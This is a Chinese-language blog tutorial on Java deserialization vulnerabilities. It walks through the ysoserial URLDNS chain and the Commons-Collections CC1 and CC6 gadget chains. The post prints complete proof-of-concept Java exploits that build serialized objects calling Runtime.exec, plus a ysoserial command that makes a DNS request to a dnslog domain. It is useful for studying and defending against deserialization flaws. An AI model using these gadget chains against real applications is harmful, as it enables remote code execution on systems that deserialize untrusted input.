文章目录
最近在学习Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记
众所周知,一门成熟的语言,如果需要在网络上传递信息,通常会用到一些格式化数据,比如:
- JSON
- XML
JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信,但这两个数据格式都不支持复杂的数据类型
大多数处理方法种,JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等,如果开发者希望在数据传输的时候直接传输一个对象,就需要想办法扩展基础的JSON、XML语法
比如,Jackson和Fastjson这类序列化库,在JSON、XML的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能涉及到安全问题。
但首先要理解的是“反序列化漏洞”是对一类漏洞的泛指,并不是专指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。
反序列化方法的对比
Java的反序列化和PHP的反序列化有点类似,它们都是将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法
writeObject
,允许开发者将序列化数据流中插入一些自定义数据,进而在反序列化的时候能够使用使用
readObject
进行提取。
当然,PHP也提供了一个魔术方法
__wakeup
,在反序列化的时候进行触发。很多人会认为Java的
readObject
和PHP的
__wakeup
类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。
Java设计
readObject
的思路和PHP的
__wakeup
不同点在于:
readObject
倾向于解决反序列化时如何还原一个完整的对象,而PHP的
__wakeup
更倾向于解决反序列化后如何初始化这个对象
PHP的反序列化
关于PHP反序列化可以看我的这篇文章:由浅入深理解PHP反序列化漏洞
PHP的序列化是开发者不能参与的,开发者调用
serialize
函数后,序列化的数据就已经完成了,得到的是一个完整的对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中,也就是说PHP的序列化,、反序列化是一个纯内部的过程,而其
__sleep
、
__wakeup
魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
含有资源类型的PHP类,如数据库连接,在PHP中资源类型的对象默认是不会写入序列化数据中的,
__wakeup
的作用是在反序列化后执行一些初始化操作,但是其实我们很少利用序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候就已经赋予其值了。
所以你会发现,PHP的反序列化漏洞,很少是由
__wakeup
这个方法出发的,通常触发在析构函数
__destruct
中,大部分的PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。
Java的反序列化
Java反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现
readObject
、
writeObject
方法,这和PHP中的
__wakeup
、
__sleep
很少使用是存在鲜明对比的。
Java在序列化一个对象时,将会调用这个对象中的个
writeObject
方法,参数类型是
ObjectOutputStream
,开发者可以将任何内容写入这个流当中,反序列化时会调用
readObject
,开发者也可以从中读取前面写入的内容,并进行处理。举个例子
packageStudyUnserialiation;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.io.Serializable;publicclassPersonimplementsjava.io.Serializable{publicString name;publicint age;publicPerson(String name,int age){this.name = name;this.age = age;}privatevoidwriteObject(ObjectOutputStream s)throwsException{
s.defaultWriteObject();
s.writeObject("This is Object");}privatevoidreadObject(ObjectInputStream s)throwsException{
s.defaultReadObject();
s.readObject();String message =(String) s.readObject();System.out.println(message);}@OverridepublicStringtoString(){return"Person{"+"name='"+ name +'\''+", age="+ age +'}';}}
然后序列化这个类即可
packageStudyUnserialiation;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;publicclassTest{publicstaticvoidmain(String[] args)throwsIOException{Person p =newPerson("mochu7",22);ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
oos.writeObject(p);}}
将这段序列化数据提取出来编码成十六进制字符串,然后用
SerializationDumper
查看序列化数据
PS D:\Tools\Web\Other> python
Python 3.8.2(tags/v3.8.2:7b3ab59, Feb 252020,22:45:29)[MSC v.191632 bit (Intel)] on win32
Type "help","copyright","credits"or"license"for more information.>>>>>>withopen('C:\\Users\Administrator\Downloads\serialize_data','rb')as f:...print(bytes.hex(f.read()))...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478
This is Object
这串字符写入了
objectAnnotation
packageStudyUnserialiation;importjava.io.FileInputStream;importjava.io.IOException;importjava.io.ObjectInputStream;publicclassTest1{publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(newFileInputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));Person person =(Person) ois.readObject();System.out.println(person);}}
反序列化时会读取这串字符,并输出
这个特性就使得Java的开发变得非常灵活,比如后面将会讲到的HashMap,其实就是将Map中的所有键、值存储在
objectAnnotation
中,而并不是某个具体属性里。
packageStudyUnserialiation;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.util.HashMap;publicclassHashMapSerialize{publicstaticvoidmain(String[] args){HashMap<String,Integer> map =newHashMap<>();
map.put("iPhone14 ProMax",8849);
map.put("Huawei Mate50Pro",5969);
map.put("xiaomi13",4299);try{ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data1"));
oos.writeObject(map);}catch(Exception e){
e.printStackTrace();}}}
Python反序列化
Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机,我们可以向栈上增删对象,也可以执行一些指令,比如函数的执行,甚至可以用这个虚拟机执行一个完整的应用程序。
所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。
从危害上看,Python的反序列化危害是最大的,从应用广度上来看,Java的反序列化是最常被用到的,从反序列化的原理上看,PHP和Java是类似又不尽相同的。
URLDNS链
URLDNS是ysoserial中一个利用链的名字,但准确的来说,这个其实不能称作利用链。称为触发链可能更准确一点,因为其参数不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
URLDNS链在ysoserial中的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
SilentURLStreamHandler
是ysoserial自定义的一个继承于
URLStreamHandler
子类,其中重写了
openConnection
、
getHostAddress
方法,将它们的返回置空,避免在payload创建期间进行DNS解析。首先是实例化的
SilentURLStreamHandler
生成handler,其次用handler与url生成一个URL对象,然后使用
HashMap
将URL对象以及url放入其中。ysoserial会通过调用
getObject
方法获得Payload,该Payload也就是
Hashmap
被序列化后的对象。
利用链分析
触发反序列化的方法是
HashMap
的
readObject
,那么我们就先从
HashMap
类的
readObject
方法开始分析:
HashMap
类
readObject
方法源码(
jdk1.8.0_341
):
根据
ysoserial
中的注释解释:
During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.,是
HashCode
方法中的计算操作触发了DNS请求。
在
readObject()
方法中
putVal()
将传入的键名传给了
hash()
hash
方法调用了key的
hashCode()
传入的key是
java.net.URL
对象,查看
java.net.URL
类的源码,找到
hashCode()
方法,handler是
URLStreamHandler
对象,这里判断了
hashCode
是否
!=-1
,
如果
(hashCode != -1) == true
就不会调用
handler.hashCode()
,这也就是
URLDNS
中要使用反射修改
Java.net.URL的hashCode
属性的原因:
Reflections.setFieldValue(u, "hashCode", -1);
,如果这里不使用反射修改该类的属性,这一步就无法到
handler.hashCode()
,继续跟进这里handler的
hashCode()
方法。这里有调用
getHostAddress()
。
继续跟进
getHostAddress(u)
再跟进
其中的
InetAddress.getByName(host);
就是对传入的主机名解析IP,如果传入的是公网域名就会访问进行DNS请求解析IP。因此
URLDNS
利用链可以造成一次DNS请求。使用ysoserial生成
URLDNS
利用链的对象(Payload),然后反序列化触发该利用链造成一次DNS请求解析。
URLDNS利用链的完整Gadget:
HashMap->readObject()->hash()->URL.hashCode()->URLStreamHandler.hashCode()->getHostAddress()->InetAddress.getByName()
构造该Gadget,需要初始化一个
java.net.URL
对象,将其作为key存入
HashMap
的键名中,然后使用反射修改这个URL类对象的
hashCode()
的值为-1,使其在反序列化时会重新计算
hashCode()
,进而触发之后的DNS请求,而在初始化
java.net.URL
对象时,为了防止生成该对象时也执行URL请求和DNS解析,所以重写了一个子类(
SilentURLStreamHandler
),但这并不是必须的,只是为了防止影响Dnslog平台查验。
触发DNS请求
接下来首先使用ysoserial生成payload,DNS测试平台就是用常用的DNSlog
注意:Windows平台下请使用cmd来运行,PS运行导出的序列化字节流数据格式有误
java-jar ysoserial-all.jar URLDNS "http://ps4nzt.dnslog.cn"> urldns_payload
然后反序列化调用
readObject()
触发即可
执行完之后Dnslog平台就可以查看到DNS请求
CommonCollections1利用链
Commons-Collections
是Apache基金会开发的一个Java开源库,提供了一组高效的数据结构和算法实现,扩展了Java的集合框架,使得用户更方便地处理集合数据,该库还包含了大量的类和接口,而
Common-Collections
利用链是Java反序列化漏洞研究中必不可少的一环。
首先来看个CC1链的小Demo
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args){Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.getRuntime()),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);
outerMap.put("name","mochu7");}}
TransformedMap
类:TransformedMap
是Commons Collections
中的一个类,它实现了java.util.Map
接口,并允许用户指定一个转换函数来对Map
中的元素进行转换。具体来说,TransformedMap
会将所有读取操作(例如get
、containsKey
等)传递给基础Map
对象,但在写入操作(例如put
、remove
等)时,会先将键值对应用于指定的转换函数,然后再执行写入操作。 这个转换函数是任何实现了org.apache.commons.collections4.Transformer
接口的类,因此就使得TransformedMap
非常灵活,可以方便地对Map
中的元素进行转换。同时需要注意,由于TransformedMap
仅仅是一个包装器类,所以它对基础Map
对象的修改也会影响到原始的Map
对象。Transformer
:Transformer
只是一个接口,它只有待实现的transform
方法,参数就是Object
对象。
publicinterfaceTransformer{Objecttransform(Object var1);}
ConstantTransformer
:ConstantTransformer
是实现了Transformer
接口的一个类,在构造器接收一个对象然后在transform
方法返回这个对象,进行一个包装任意对象的处理。InvokerTransformer
:InvokerTransformer
也是实现了Transformer
接口的一个类,有参构造器第一个参数是执行的方法名,第二个参数是参数列表的类型,第三个参数是参数列表,然后回调transform
方法,使用反射执行了input
对象的iMethodName
方法。
Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName,this.iParamTypes);return method.invoke(input,this.iArgs);
ChainedTransformer
:ChainedTransformer
也是实现了Transformer
接口的类,它将内部的所有Transformer
连接在一起进行遍历,将上一个回调返回的结果作为下一个回调的参数传入。
publicChainedTransformer(Transformer[] transformers){this.iTransformers = transformers;}publicObjecttransform(Object object){for(int i =0; i <this.iTransformers.length;++i){
object =this.iTransformers[i].transform(object);}return object;}
通过以上几个类的分析,即可理解该Demo的原理,首先新建了个
Transformer
数组,用于存放两个
Transformer
,第一个是
ConstantTransformer
,这会直接返回传入的
Runtime
对象;第二个是
InvokerTransformer
,反射执行
Runtime
对象的
exec
方法,参数是
calc
。再将这个
Transformer
数组传给
ChainedTransformer
,通过回调会将
Runtime
的对象传给
InvokerTransformer
,执行
Runtime
对象的
exec
方法。
但是这个
transfomerChain
只是回调,要触发需要使用
TransformedMap.decorate
来包装,然后使用
put
或
remove
来触发。
利用TransformedMap构造POC
上文探讨了
Commons-Collections
的
Transformer
,并且使用了一个Demo作为例子,在Demo中是以
outerMap.put("name", "mochu7")
来触发漏洞,但是在反序列化时是需要一个类。该类在反序列化时
readObject
方法有类似的写入处理,就是
sun.reflect.annotation.AnnotationInvocationHandler
类,核心源码(
jdk<=8u66
):
privatevoidreadObject(java.io.ObjectInputStream s){...Map<String,Class<?>> memberTypes = annotationType.memberTypes();for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if(memberType !=null){Object value = memberValue.getValue();if(!(memberType.isInstance(value)||
value instanceofExceptionProxy)){
memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(
value.getClass()+"["+ value +"]").setMember(
annotationType.members().get(name)));}}}}
memberValues
就是经过了
TransformedMap
修饰的对象,也是反序列化之后的
Map
,然后遍历,依次设置值调用
setValue
时会触发
TransformedMap
中的
Transform
,进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个
AnnotationInvocationHandler
对象,然后将上文的利用链中的
HashMap
传入,并且这个
AnnotationInvovationHandler
是内置类,不能直接使用常规方法获取对象,因此这里使用反射获取构造方法,然后强制访问再调用实例化。
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = c.getDeclaredConstructor(Class.class,Map.class);Construct.setAccessible(true);Object obj = construct.newInstance(Retention.clas, outerMap);
然后将整个过程梳理,形成一个完整的链子,尝试执行,输出了以下报错
报的是不可序列化的错误,而这里序列化的是
ConstantTransformer
中的
Runtime.getRuntime()
对象,而
Runtime
是没有实现
java.io.Serializeable
接口的,因此无法序列化。在前面的反射篇章中,有介绍可以通过反射直接获取对象,而不需要直接使用这个类。
Method f =Runtime.class.getMethod("getRuntime");Runtime r =(Runtime) f.invoke(null);
r.exec("calc");
使用这种方法反射的好处就是将原来没有实现序列化接口的
Java.lang.Runtime
类,换成了
Java.lang.Class
对象,而
Java.lang.Class
类对象是实现了
Serializable
接口的,因此可以序列化。但是更换
Transformer
调用
Runtime
的方法之后还是无法执行命令。
查看
AnnotationInvocationHandler
类的反编译代码,在
readObject()
方法下,如果要进入
setValue()
触发构造的
Transfomers
,有一个
if(var7!=null)
的判断,在这里下个断点动态调式,查看运行后
var7
的值是否为
null
回到
AnnotationInvocationHandler
的有参构造方法
可以看到要使得
var1
、
var2
的值不为
null
,
AnnotationInvocationHandler
的第一个参数必须是
Annotation
类型,并且需要有一个方法,如果这个方法名为X,那么被
TransformedMap.decorate
修饰的
Map
的键名也必须为X才能触发,正是因为如此,上文使用反射获取
AnnotationInvocationHandler
获取有参构造器,生成对象时传入的第一个参数是
Retention.class
,因为
Retention
中有一个
value
方法,因此修改
innerMap.put("value", "mochu7");
的键名也为
value
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();
innerMap.put("value","mochu7");Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}
注意:该方法只针对
Jdk<=8u66
的版本有效,
8u71
开始,Java官方修改了
sun.reflect.annotation.AnnotationInvocationHandler
的
readObject
方法,不再继续使用反序列化得到的Map对象,而是新建了一个
LinkedHashMap
对象,并将原来的键值添加进去。因此,后续对
Map
的操作全都是基于这个新的
LinkedHashMap
对象,不需要再使用构造的
Ma
执行
set
、
put
处理,因此也就不会触发RCE了。
利用LazyMap构造POC
LazyMap
和
TransformedMap
类似,都来自于
Apache Commons Collections
库,
LazyMap
是一个需要时动态生成值的映射表。它通过延迟来加载提高性能,只有在首次访问时才会计算和存储值。
LazyMap
通常适用于处理大量数据的情况,可以节省计算资源。
TransformedMap
是在写入元素的时候执行构造好的
transforms
,而
LazyMap
是在它的
get
方法中执行
factory.transform
,当寻找不到
key
值时会调用
factory.transform
获取一个值。
LazyMap
利用比
TransformedMap
的利用过程稍微复杂一点,
TransformedMap
是在
AnntationInvocationHandler
的
readObject
方法中就有
setValue
会触发到构造好的
transforms
,而
readObject
中并没有调用到
Map
的
get
方法。但是
AnnotationInvocationHandler
类的
invoke
方法有调用到
get
方法
那么下一步就是想办法调用到
AnnotationInvocationHandler
下的
invoke
方法,想要劫持对象内部的方法调用,最合适不过的是使用Java的动态代理中的对象代理。
Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
第一个参数是
ClassLoader
,使用默认的即可;第二个参数是代理的对象集合;第三个参数是实现了
InvocationHandler
接口的对象,是代理对象的核心处理程序。
编写一个
ExampleInvocationHandler
类,重写
invoke
方法,它的作用是当检测到该对象调用了
get
方法,就返回一串字符。
importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Method;importjava.util.Map;publicclassExampleInvocationHandlerimplementsInvocationHandler{protectedMap map;publicExampleInvocationHandler(Map map){this.map = map;}@OverridepublicObjectinvoke(Object proxy,Method method,Object[] args)throwsThrowable{if(method.getName().compareTo("get")==0){System.out.println("Hook Method: "+ method.getName());return"Hacked Object";}return method.invoke(this.map, args);}}
然后在外部调用
ExampleInvocationHandler
,存入一组数据,然后
get
获取
importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassTest{publicstaticvoidmain(String[] args){InvocationHandler handler =newExampleInvocationHandler(newHashMap());Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
proxyMap.put("name","mochu7");String result =(String) proxyMap.get("name");System.out.println(result);}}
而如果对
sun.reflect.annotation.AnnotationInvocationHandler
类的对象用
Proxy
代理,在
readObject
时,只要调用任何一个方法,就会触发进入到
AnnotationInvocationHandler
的
invoke
方法,最后触发
LazyMap
的
get
方法。
因此,
LazyMap
的利用链的构造过程就产生了,在原有的
TransformedMap
的POC的基础进行修改,首先将原来的
TransformedMap
替换为
LazyMap
,然后对
sun.reflect.annotation.AnnotationInvocationHandler
类的对象进行代理。
Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
代理之后还不能直接序列化,因为利用链的入口点在
sun.reflect.annotation.AnnotationInvocationHandler的readObject()
,因此还需要使用
AnnotationInvocationHandler
对
proxyMap
进行处理。
handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最终构造如下:
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importorg.apache.commons.collections.map.TransformedMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}
CommonsCollections6 利用链
上文详细分析了
LazyMap
的利用链并构造了POC,但是
LazyMap
的利用链仍然无法解决
CommonCollections1
的利用链在高版本的
Java(jdk>=8u71)
中无法使用的问题。
CommonsCollections6
在jdk7、8的高版本中的利用链是比较通用的利用链。
以下是这条链的利用过程:
java.io.ObjectInputStream.readObject()->java.util.HashMap.readObject()->org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()->org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()->org.apache.commons.collections.map.LazyMap.get()->org.apache.commmons.collections.functors.ChainedTransformer.transform()->org.apache.commons.collections.functors.InvokerTransformer.transform()->java.lang.reflect.Method.invoke()->java.lang.Runtime.exec()
从
LazyMap.get()
到
Runtime.exec()
上文已经详细分析过了,因此要解决在Java高版本中的利用问题,就需要寻找还有哪些地方调用了
LazyMap.get()
这个方法,可以看到
org.apache.commons.collections.keyvalue.TiedMapEntry
中的
getValue()
调用了
this.map.get()
,并且在
hashCode()
中调用了
getValue()
继续追踪哪里调用了
TiedMapEntry.hashCode()
,也就是追踪哪里调用了
HashMap.hash()
,在
HashMap.readObject()
中可以看到调用了
hash(key)
而在
hash()
方法中调用了
key.hashCode()
,因此只需要将
TiedMapEntry
对象赋值给这里的
key
,既可组成一个完整的
Gadget
。构造
LazyMap
,包装
transformerChain
成
outerMap
,然后将其作为
TiedMapEntry
的
map
属性。
Transformer[] fakeTransformers =newTransformer[]{newConstantTransformer(1)};Transformer transformerChain =newChainedTransformer(fakeTransformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry =newTiedMapEntry(outerMap,"MyKey");
这里为了避免本地调试触发命令执行,构造
LazyMap
使用的是一个普通的
Transformers
对象,必要时需要
Payload
再把真正的
Transformers
放进去。接下来为了调用
TiedMapEntry.hashCode()
,将
tiedMapEntry
对象作为
HashMap
的
key
存入一个新的
HashMap
。最后,将这个新的
HashMap
对象序列化即可,在此之前需要通过反射,将真正的
Transformers
数组对象。
Map myMap =newHashMap();
myMap.put(tiedMapEntry,"MyValue");Field field =ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(tramformerChain, transformers);
运行之后并没有执行命令,单步调试查看问题,发现问题在
LazyMap.get()
方法中
有个
if
会判断
Map
中是否有
key
,如果否才进入到触发
Transformers
数组对象的步骤,在创建
TiedMapEntry
时,放入了一个
MyKey
,但是
TiedMapEntry
并不会修改
outerMap
,关键问题就出在
myMap.put(tiedMapEntry, "MyValue")
,
HashMap.put()
方法中也有
hash(key)
的操作。导致
LazyMap
的利用链提前被调用了一次,所以需要对
outerMap
的
key
值进行
remove
处理:
outerMap.remove("MyKey")
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.HashMap;importjava.util.Map;importorg.apache.commons.collections.keyvalue.TiedMapEntry;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] fakeTransformers =newTransformer[]{newConstantTransformer(1)};Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),newConstantTransformer(1),};Transformer transformerChain =newChainedTransformer(fakeTransformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry =newTiedMapEntry(outerMap,"MyKey");Map myMap =newHashMap();
myMap.put(tiedMapEntry,"MyValue");
outerMap.remove("MyKey");Field field =ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
oos.writeObject(myMap);
oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}
这个利用链可以在Java7和8高版本触发,没有版本限制
版权归原作者 末 初 所有, 如有侵权,请联系我们删除。